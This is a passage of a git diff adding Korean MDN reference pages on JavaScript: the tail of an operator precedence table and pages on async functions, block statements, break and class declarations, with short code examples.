+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_plus">단항 양부호</a></td>
+ <td><code>+ …</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_negation">단항 부정</a></td>
+ <td><code>- …</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Increment">전위 증가</a></td>
+ <td><code>++ …</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Decrement">전위 감소</a></td>
+ <td><code>-- …</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Operators/typeof", "typeof")}}</td>
+ <td><code>typeof …</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Operators/void", "void")}}</td>
+ <td><code>void …</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Operators/delete", "delete")}}</td>
+ <td><code>delete …</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Operators/await", "await")}}</td>
+ <td><code>await …</code></td>
+ </tr>
+ <tr>
+ <td>16</td>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Exponentiation">거듭제곱</a></td>
+ <td>우결합성</td>
+ <td><code>… ** …</code></td>
+ </tr>
+ <tr>
+ <td rowspan="3">15</td>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Multiplication">곱셈</a></td>
+ <td colspan="1" rowspan="3">좌결합성</td>
+ <td><code>… * …</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Division">나눗셈</a></td>
+ <td><code>… / …</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Remainder">나머지</a></td>
+ <td><code>… % …</code></td>
+ </tr>
+ <tr>
+ <td rowspan="2">14</td>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Addition">덧셈</a></td>
+ <td colspan="1" rowspan="2">좌결합성</td>
+ <td><code>… + …</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Subtraction">뺄셈</a></td>
+ <td><code>… - …</code></td>
+ </tr>
+ <tr>
+ <td rowspan="3">13</td>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">비트 왼쪽 시프트</a></td>
+ <td colspan="1" rowspan="3">좌결합성</td>
+ <td><code>… &lt;&lt; …</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">비트 오른쪽 시프트</a></td>
+ <td><code>… &gt;&gt; …</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">비트 부호 없는 오른쪽 시프트</a></td>
+ <td><code>… &gt;&gt;&gt; …</code></td>
+ </tr>
+ <tr>
+ <td rowspan="6">12</td>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than_operator">미만</a></td>
+ <td colspan="1" rowspan="6">좌결합성</td>
+ <td><code>… &lt; …</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than__or_equal_operator">이하</a></td>
+ <td><code>… &lt;= …</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Greater_than_operator">초과</a></td>
+ <td><code>… &gt; …</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Greater_than_or_equal_operator">이상</a></td>
+ <td><code>… &gt;= …</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Operators/in", "in")}}</td>
+ <td><code>… in …</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Operators/instanceof", "instanceof")}}</td>
+ <td><code>… instanceof …</code></td>
+ </tr>
+ <tr>
+ <td rowspan="4">11</td>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Equality">동등</a></td>
+ <td colspan="1" rowspan="4">좌결합성</td>
+ <td><code>… == …</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Inequality">부등</a></td>
+ <td><code>… != …</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Identity">일치</a></td>
+ <td><code>… === …</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Nonidentity">불일치</a></td>
+ <td><code>… !== …</code></td>
+ </tr>
+ <tr>
+ <td>10</td>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_AND">비트 AND</a></td>
+ <td>좌결합성</td>
+ <td><code>… &amp; …</code></td>
+ </tr>
+ <tr>
+ <td>9</td>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_XOR">비트 XOR</a></td>
+ <td>좌결합성</td>
+ <td><code>… ^ …</code></td>
+ </tr>
+ <tr>
+ <td>8</td>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_OR">비트 OR</a></td>
+ <td>좌결합성</td>
+ <td><code>… | …</code></td>
+ </tr>
+ <tr>
+ <td>7</td>
+ <td><a href="https://wiki.developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing_operator">널 병합 연산자</a></td>
+ <td>좌결합성</td>
+ <td><code>… ?? …</code></td>
+ </tr>
+ <tr>
+ <td>6</td>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_AND">논리 AND</a></td>
+ <td>좌결합성</td>
+ <td><code>… &amp;&amp; …</code></td>
+ </tr>
+ <tr>
+ <td>5</td>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR">논리 OR</a></td>
+ <td>좌결합성</td>
+ <td><code>… || …</code></td>
+ </tr>
+ <tr>
+ <td>4</td>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">조건</a></td>
+ <td>우결합성</td>
+ <td><code>… ? … : …</code></td>
+ </tr>
+ <tr>
+ <td rowspan="13">3</td>
+ <td rowspan="13"><a href="/ko/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">할당</a></td>
+ <td rowspan="13">우결합성</td>
+ <td><code>… = …</code></td>
+ </tr>
+ <tr>
+ <td><code>… += …</code></td>
+ </tr>
+ <tr>
+ <td><code>… -= …</code></td>
+ </tr>
+ <tr>
+ <td><code>… **= …</code></td>
+ </tr>
+ <tr>
+ <td><code>… *= …</code></td>
+ </tr>
+ <tr>
+ <td><code>… /= …</code></td>
+ </tr>
+ <tr>
+ <td><code>… %= …</code></td>
+ </tr>
+ <tr>
+ <td><code>… &lt;&lt;= …</code></td>
+ </tr>
+ <tr>
+ <td><code>… &gt;&gt;= …</code></td>
+ </tr>
+ <tr>
+ <td><code>… &gt;&gt;&gt;= …</code></td>
+ </tr>
+ <tr>
+ <td><code>… &amp;= …</code></td>
+ </tr>
+ <tr>
+ <td><code>… ^= …</code></td>
+ </tr>
+ <tr>
+ <td><code>… |= …</code></td>
+ </tr>
+ <tr>
+ <td rowspan="2">2</td>
+ <td>{{jsxref("Operators/yield", "yield")}}</td>
+ <td colspan="1" rowspan="2">우결합성</td>
+ <td><code>yield …</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Operators/yield*", "yield*")}}</td>
+ <td><code>yield* …</code></td>
+ </tr>
+ <tr>
+ <td>1</td>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comma_Operator">쉼표 / 시퀀스</a></td>
+ <td>좌결합성</td>
+ <td><code>… , …</code></td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/javascript/reference/statements/async_function/index.html b/files/ko/web/javascript/reference/statements/async_function/index.html
new file mode 100644
index 0000000000..5a986c8af4
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/async_function/index.html
@@ -0,0 +1,243 @@
+---
+title: async function
+slug: Web/JavaScript/Reference/Statements/async_function
+tags:
+ - Example
+ - JavaScript
+ - Promise
+ - async
+ - await
+translation_of: Web/JavaScript/Reference/Statements/async_function
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><code><strong>async function</strong></code> 선언은 {{jsxref("Global_Objects/AsyncFunction","AsyncFunction")}}객체를 반환하는 하나의 비동기 함수를 정의합니다. 비동기 함수는 이벤트 루프를 통해 비동기적으로 작동하는 함수로, 암시적으로 {{jsxref("Promise")}}를 사용하여 결과를 반환합니다. 그러나 비동기 함수를 사용하는 코드의 구문과 구조는, 표준 동기 함수를 사용하는것과 많이 비슷합니다.</p>
+
+<div class="noinclude">
+<p>또한 {{jsxref("Operators/async_function", "async function expression", "", 1)}}을 사용해서 async function을 선언할 수 있습니다.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-async.html", "taller")}}</div>
+
+<div class="hidden">
+<p>이 데모에 대한 소스가 여기에 있다. 기여하고싶다면 다음의 주소에서 Clone하고 pull request하라 : <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a></p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate" dir="rtl">async function <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+ <em>statements</em>
+}
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>함수의 이름.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>함수에게 전달되기 위한 인자의 이름.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd><font face="Consolas, Liberation Mono, Courier, monospace">함수본문을 구성하는 내용.</font></dd>
+ <dt>
+ <h3 id="반환_값"><font face="Consolas, Liberation Mono, Courier, monospace">반환 값</font></h3>
+
+ <p>Promise : async 함수에 의해 반환 된 값으로 해결되거나 async함수 내에서 발생하는 캐치되지 않는 예외로 거부되는 값.</p>
+ </dt>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p><code>async</code> 함수에는 {{jsxref ( "Operators / await", "await")}}식이 포함될 수 있습니다. 이 식은 <code>async</code> 함수의 실행을 일시 중지하고 전달 된 <code>Promise</code>의 해결을 기다린 다음 <code>async</code> 함수의 실행을 다시 시작하고 완료후 값을 반환합니다.</p>
+
+<div class="blockIndicator note">
+<p><code>await</code> 키워드는 <code>async</code> 함수에서만 유효하다는 것을 기억하십시오. <code>async</code> 함수의 본문 외부에서 사용하면 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a>가 발생합니다.</p>
+</div>
+
+<div class="note">
+<p>async/await함수의 목적은 사용하는 여러 promise의 동작을 동기스럽게 사용할 수 있게 하고, 어떠한 동작을 여러 promise의 그룹에서 간단하게 동작하게 하는 것이다.<br>
+ promise가 구조화된 callback과 유사한 것 처럼 async/await또한 제네레이터(generator)와 프로미스(promise)를 묶는것과 유사하다.</p>
+</div>
+
+<p><code>async</code> 함수는 항상 promise를 반환합니다. 만약 <code>async</code> 함수의 반환값이 명시적으로 promise가 아니라면 암묵적으로 promise로 감싸집니다.</p>
+
+<p>예를 들어</p>
+
+<pre class="notranslate">async function foo() {
+ return 1
+}</pre>
+
+<p>위 코드는 아래와 같습니다.</p>
+
+<pre class="notranslate">function foo() {
+ return Promise.resolve(1)
+}</pre>
+
+<p><code>async</code> 함수의 본문은 0개 이상의 <code>await</code> 문으로 분할된 것으로 생각할 수 있습니다. 첫번째 <code>await</code> 문을 포함하는 최상위 코드는 동기적으로 실행됩니다. 따라서 <code>await</code> 문이 없는 <code>async</code> 함수는 동기적으로 실행됩니다. 하지만 <code>await</code> 문이 있다면 <code>async</code> 함수는 항상 비동기적으로 완료됩니다.</p>
+
+<p>예를 들어</p>
+
+<pre class="notranslate">async function foo() {
+ await 1
+}</pre>
+
+<p>위 코드는 아래와 같습니다.</p>
+
+<pre class="notranslate">function foo() {
+ return Promise.resolve(1).then(() =&gt; undefined)
+}
+</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Simple_example">Simple example</h3>
+
+<pre class="notranslate"><code>var resolveAfter2Seconds = function() {
+ console.log("starting slow promise");
+ return new Promise(resolve =&gt; {
+ setTimeout(function() {
+ resolve(20);
+ console.log("slow promise is done");
+ }, 2000);
+ });
+};
+
+var resolveAfter1Second = function() {
+ console.log("starting fast promise");
+ return new Promise(resolve =&gt; {
+ setTimeout(function() {
+ resolve(10);
+ console.log("fast promise is done");
+ }, 1000);
+ });
+};
+
+var sequentialStart = async function() {
+ console.log('==SEQUENTIAL START==');
+
+ // If the value of the expression following the await operator is not a Promise, it's converted to a resolved Promise.
+ const slow = await resolveAfter2Seconds();
+  console.log(slow);
+
+ const fast = await resolveAfter1Second();
+ console.log(fast);
+}
+
+var concurrentStart = async function() {
+ console.log('==CONCURRENT START with await==');
+ const slow = resolveAfter2Seconds(); // starts timer immediately
+ const fast = resolveAfter1Second();
+
+ console.log(await slow);
+ console.log(await fast); // waits for slow to finish, even though fast is already done!
+}
+
+var stillConcurrent = function() {
+ console.log('==CONCURRENT START with Promise.all==');
+ Promise.all([resolveAfter2Seconds(), resolveAfter1Second()]).then((messages) =&gt; {
+ console.log(messages[0]); // slow
+ console.log(messages[1]); // fast
+ });
+}
+
+var parallel = function() {
+ console.log('==PARALLEL with Promise.then==');
+ resolveAfter2Seconds().then((message)=&gt;console.log(message));
+ resolveAfter1Second().then((message)=&gt;console.log(message));
+}
+
+sequentialStart(); // after 2 seconds, logs "slow", then after 1 more second, "fast"
+// wait above to finish
+setTimeout(concurrentStart, 4000); // after 2 seconds, logs "slow" and then "fast"
+// wait again
+setTimeout(stillConcurrent, 7000); // same as concurrentStart
+// wait again
+setTimeout(parallel, 10000); // trully parallel: after 1 second, logs "fast", then after 1 more second, "slow"</code></pre>
+
+<div class="warning">
+<h4 id="await_와_Promisethen을_혼동하지_마세요"><code>await</code> 와 <code>Promise#then</code>을 혼동하지 마세요</h4>
+
+<p><code>sequentialStart</code> 에서, 첫 번째 <code>await</code>는 2초의 대기 시간을 갖고,  다시 두 번째 <code>await</code>에서 1초의 대기 시간을 갖습니다. 두 번째 타이머는 첫 번째 타이머가 완료될 때 까지 생성되지 않습니다.</p>
+
+<p><code>concurrentStart</code> 에서, 두 타이머 모두 생성 된 다음 <code>await</code> 합니다. 타이머가 동시에 실행되고 있지만, <code>await</code> 호출은 여전히 연속적 실행중이므로, 두 번째 <code>await</code> 는 첫 번째 호출이 끝날 때 까지 대기합니다. 이렇게하면 3초가 아니라, 가장 느린 타이머에 필요한 2초가 필요합니다. <code>stillConcurrent</code> 에서도 <code>Promise.all</code> 을 사용하여 같은 일이 발생합니다.</p>
+
+<p>두 개 이상의 프러미스를 동시에 wait 하고 싶다면, <code>Promise#then</code>을 사용하여 예제와 같이 <code>parallel</code> 를 수행할 수 있습니다.</p>
+</div>
+
+<h3 id="async함수를_사용한_promise_chain_재작성"><code>async</code>함수를 사용한 promise chain 재작성</h3>
+
+<p>{{jsxref("Promise")}} 를 반환하는 API는 promise chain을 만들며 여러 파트의 함수로 나뉜다.<br>
+ 아래 코드를 보자.</p>
+
+<pre class="brush: js notranslate">function getProcessedData(url) {
+ return downloadData(url) // returns a promise
+ .catch(e =&gt; {
+ return downloadFallbackData(url) // returns a promise
+ })
+ .then(v =&gt; {
+ return processDataInWorker(v); // returns a promise
+ });
+}
+</pre>
+
+<p>위의 코드는 하나의 async함수로 아래와 같이 쓰여질 수도 있다.</p>
+
+<pre class="brush: js notranslate">async function getProcessedData(url) {
+ let v;
+ try {
+ v = await downloadData(url);
+ } catch (e) {
+ v = await downloadFallbackData(url);
+ }
+ return processDataInWorker(v);
+}
+</pre>
+
+<p>위 예제에서는 return 구문에 await 구문이 없다는 것에 주목하자. 이는 async function의 반환값이 암묵적으로 {{jsxref("Promise.resolve")}}로 감싸지기 때문이다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>Initial definition in ES2017.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES8', '#sec-async-function-definitions', 'async function')}}</td>
+ <td>{{Spec2('ES8')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.statements.async_function")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Operators/async_function", "async function expression")}}</li>
+ <li>{{jsxref("AsyncFunction")}} object</li>
+ <li>{{jsxref("Operators/await", "await")}}</li>
+ <li><a href="http://innolitics.com/10x/javascript-decorators-for-promise-returning-functions/">"Decorating Async Javascript Functions" on "innolitics.com"</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/block/index.html b/files/ko/web/javascript/reference/statements/block/index.html
new file mode 100644
index 0000000000..aab5d0dc3f
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/block/index.html
@@ -0,0 +1,132 @@
+---
+title: block
+slug: Web/JavaScript/Reference/Statements/block
+tags:
+ - JavaScript
+ - Reference
+ - Statement
+translation_of: Web/JavaScript/Reference/Statements/block
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>블록문</strong>(또는 다른 언어에서는 복합문)은 0개 이상의 구문을 묶을 때 사용합니다. 블록은 한 쌍의 중괄호로 구성하며 선택적으로 {{jsxref("Statements/label", "이름", "", 0)}}을 붙일 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-block.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<h3 id="블록문">블록문</h3>
+
+<pre class="syntaxbox">{
+ <em>StatementList</em>
+}</pre>
+
+<h3 id="유명_블록문">유명 블록문</h3>
+
+<pre class="syntaxbox"><em>LabelIdentifier</em>: {
+ <em>StatementList</em>
+}
+</pre>
+
+<dl>
+ <dt><code>StatementList</code></dt>
+ <dd>블록문 내의 문.</dd>
+ <dt><code>LabelIdentifier</code></dt>
+ <dd>시각적인 구분, 또는 {{jsxref("Statements/break", "break")}}문의 대상으로 쓸 {{jsxref("Statements/label", "label")}}.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>다른 언어에서 블록문은 <strong>복합문</strong>이라고 부르기도 합니다. 블록문을 쓰면 JavaScript가 하나의 문을 기대하는 곳에서 다수의 문을 실행할 수 있습니다. JavaScript에서 이렇게 문을 묶는건 흔히 쓰이는 기법입니다. 반대 개념으로는 {{jsxref("Statements/empty", "공백문", "", 0)}}이 있으며, 이는 하나의 문을 기대하는 곳에 아무것도 제공하지 않는 것입니다.</p>
+
+<h3 id="블록_범위_규칙">블록 범위 규칙</h3>
+
+<h4 id="var_사용_시"><code>var</code> 사용 시</h4>
+
+<p>{{jsxref("Statements/var", "var")}}로 선언한 변수는 블록 범위를 <strong>가지지 않습니다</strong>. 블록 내에서 선언한 변수의 범위는 함수나 스크립트가 되어, 값 할당의 영향이 블록 바깥까지 미칩니다. 다른 말로는 블록문이 범위를 만들지 않습니다. "독립" 블록문도 유효한 구문이긴 하지만, C와 Java의 블록에 기대하는걸 JavaScript에서도 기대하면 안됩니다. 예를 들어보겠습니다.</p>
+
+<pre class="brush: js example-bad">var x = 1;
+{
+ var x = 2;
+}
+console.log(x); // 2 기록</pre>
+
+<p>콘솔 출력 결과는 2입니다. 블록 밖의 <code>var x</code>와 블록 안의 <code>var x</code>는 같은 범위에 속하기 때문입니다. C나 Java에서 같은 코드를 작성한다면 1을 출력할 것입니다.</p>
+
+<h4 id="let과_const_사용_시"><code>let</code>과 <code>const</code> 사용 시</h4>
+
+<p>반면 {{jsxref("Statements/let", "let")}}과 {{jsxref("Statements/const", "const")}}로 선언한 식별자는 블록 범위를 <strong>가집니다</strong>.</p>
+
+<pre class="brush: js">let x = 1;
+{
+ let x = 2;
+}
+console.log(x); // 1 기록
+</pre>
+
+<p><code>x = 2</code>는 선언한 블록으로 범위가 제한됩니다.</p>
+
+<p><code>const</code>도 마찬가지입니다.</p>
+
+<pre class="brush: js">const c = 1;
+{
+ const c = 2;
+}
+console.log(c); // 1 기록, SyntaxError 없음</pre>
+
+<p>블록 내의 <code>const c = 2</code>가 <code>SyntaxError: Identifier 'c' has already been declared</code>를 던지지 않는 점에 주목하세요. 블록 범위 안이라 별개의 식별자이기 때문입니다.</p>
+
+<p>ES2015의 <a href="/ko/docs/Web/JavaScript/Reference/Strict_mode">엄격 모드</a>부터, 블록 내의 함수는 해당 블록으로 범위가 제한됩니다. ES2015 이전의 엄격 모드에서는 블록 레벨 함수를 사용할 수 없었습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-block', 'Block statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-block', 'Block statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12.1', 'Block statement')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-12.1', 'Block statement')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-12.1', 'Block statement')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.block")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/while", "while")}}</li>
+ <li>{{jsxref("Statements/if...else", "if...else")}}</li>
+ <li>{{jsxref("Statements/let", "let")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/break/index.html b/files/ko/web/javascript/reference/statements/break/index.html
new file mode 100644
index 0000000000..fdbb79e719
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/break/index.html
@@ -0,0 +1,119 @@
+---
+title: break
+slug: Web/JavaScript/Reference/Statements/break
+tags:
+ - JavaScript
+ - Reference
+ - Statement
+translation_of: Web/JavaScript/Reference/Statements/break
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>break</code> 문</strong>은 현재 반복문, {{jsxref("Statements/switch", "switch")}} 문, 또는 {{jsxref("Statements/label", "label")}} 문을 종료하고, 그 다음 문으로 프로그램 제어를 넘깁니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-break.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">break [<em>label</em>];</pre>
+
+<dl>
+ <dt><code>label</code> {{optional_inline}}</dt>
+ <dd>문의 라벨에 연결한 {{glossary("identifier", "식별자")}}. 반복문이나 {{jsxref("Statements/switch", "switch")}}에서 사용하는게 아니면 필수로 제공해야 합니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>break</code> 문은 프로그램이 label 달린 문에서 빠져나오게 하는 선택사항 label을 포함합니다. <code>break</code> 문은 참조되는 label 내에 중첩되어야 합니다. label 달린 문은 어떤 {{jsxref("Statements/block", "block")}} 문이든 될 수 있습니다. 꼭, loop 문을 달 필요가 없습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 함수는 <code>i</code>가 3일 때 {{jsxref("Statements/while", "while")}} loop를 종료하는 break 문이 있고, 그러고는 3 * <code>x</code>값을 반환합니다.</p>
+
+<pre class="brush:js;highlight:[6];">function testBreak(x) {
+ var i = 0;
+
+ while (i &lt; 6) {
+ if (i == 3) {
+ break;
+ }
+ i += 1;
+ }
+
+ return i * x;
+}</pre>
+
+<p>다음 코드는 label 달린 블록이 있는 <code>break</code> 문을 사용합니다. <code>break</code> 문은 자신이 참조하는 label 내에 중첩되어야 합니다. <code>inner_block</code>은 <code>outer_block</code>내에 중첩되어야 함을 주의하세요.</p>
+
+<pre class="brush:js;highlight:[1,2,4];">outer_block: {
+ inner_block: {
+ console.log('1');
+ break outer_block; // inner_block과 outer_block 둘다 빠져나옴
+ console.log(':-('); // 건너뜀
+ }
+ console.log('2'); // 건너뜀
+}
+</pre>
+
+<p>다음 코드는 또한 label 달린 블록이 있는 break 문을 사용하지만 그 <code>break</code> 문이 <code>block_2</code>를 참조하지만 <code>block_1</code> 내에 있기에 구문 오류(Syntax Error)가 발생합니다. <code>break</code> 문은 항상 자신이 참조하는 label 내에 중첩되어야 합니다.</p>
+
+<pre class="brush:js;highlight:[1,3,6];">block_1: {
+ console.log('1');
+ break block_2; // SyntaxError: label을 찾을 수 없음
+}
+
+block_2: {
+ console.log('2');
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Unlabeled version.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Labeled version added.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12.8', 'Break statement')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-break-statement', 'Break statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-break-statement', 'Break statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.statements.break")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/continue", "continue")}}</li>
+ <li>{{jsxref("Statements/label", "label")}}</li>
+ <li>{{jsxref("Statements/switch", "switch")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/class/index.html b/files/ko/web/javascript/reference/statements/class/index.html
new file mode 100644
index 0000000000..bfb1c95027
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/class/index.html
@@ -0,0 +1,119 @@
+---
+title: class
+slug: Web/JavaScript/Reference/Statements/class
+tags:
+ - Classes
+ - Declaration
+ - ECMAScript 2015
+ - JavaScript
+ - Reference
+ - Statement
+translation_of: Web/JavaScript/Reference/Statements/class
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>class</code> 선언</strong>은 프로토타입 기반 상속을 사용하여, 주어진 이름의 새로운 클래스를 만듭니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-class.html")}}</div>
+
+
+
+<div class="noinclude">
+<p>{{jsxref("Operators/class", "클래스 표현", "", 1)}}을 사용하여 클래스를 정의할 수도 있습니다. 표현식과 달리 선언문으로는 같은 클래스를 다시 선언하면 오류가 발생합니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">class <em>name</em> [extends] {
+ // class body
+}
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>클래스 본문은 <a href="/ko/docs/Web/JavaScript/Reference/Strict_mode">엄격 모드</a>에서 실행됩니다. 생성자 속성은 선택 사항입니다..</p>
+
+<p>클래스 선언은 {{jsxref("Statements/function", "함수 선언", "", 0)}}과 달리 {{Glossary("Hoisting", "호이스팅")}}의 대상이 아닙니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_클래스_선언">간단한 클래스 선언</h3>
+
+<p>다음 예제는 우선 <code>Polygon</code> 클래스를 정의하고, <code>Square</code>라는 이름의 새로운 클래스가 <code>Polygon</code>을 상속합니다. 생성자 내부의 <code>super()</code>는 생성자 내에서만, 그리고 {{jsxref("Operators/this", "this")}} 키워드를 사용하기 전에만 쓸 수 있다는 점을 주의하세요.</p>
+
+<pre class="brush: js">class Polygon {
+ constructor(height, width) {
+ this.name = 'Polygon';
+ this.height = height;
+ this.width = width;
+ }
+}
+
+class Square extends Polygon {
+ constructor(length) {
+ super(length, length);
+  this.name = 'Square';
+ }
+}</pre>
+
+<div class="warning">
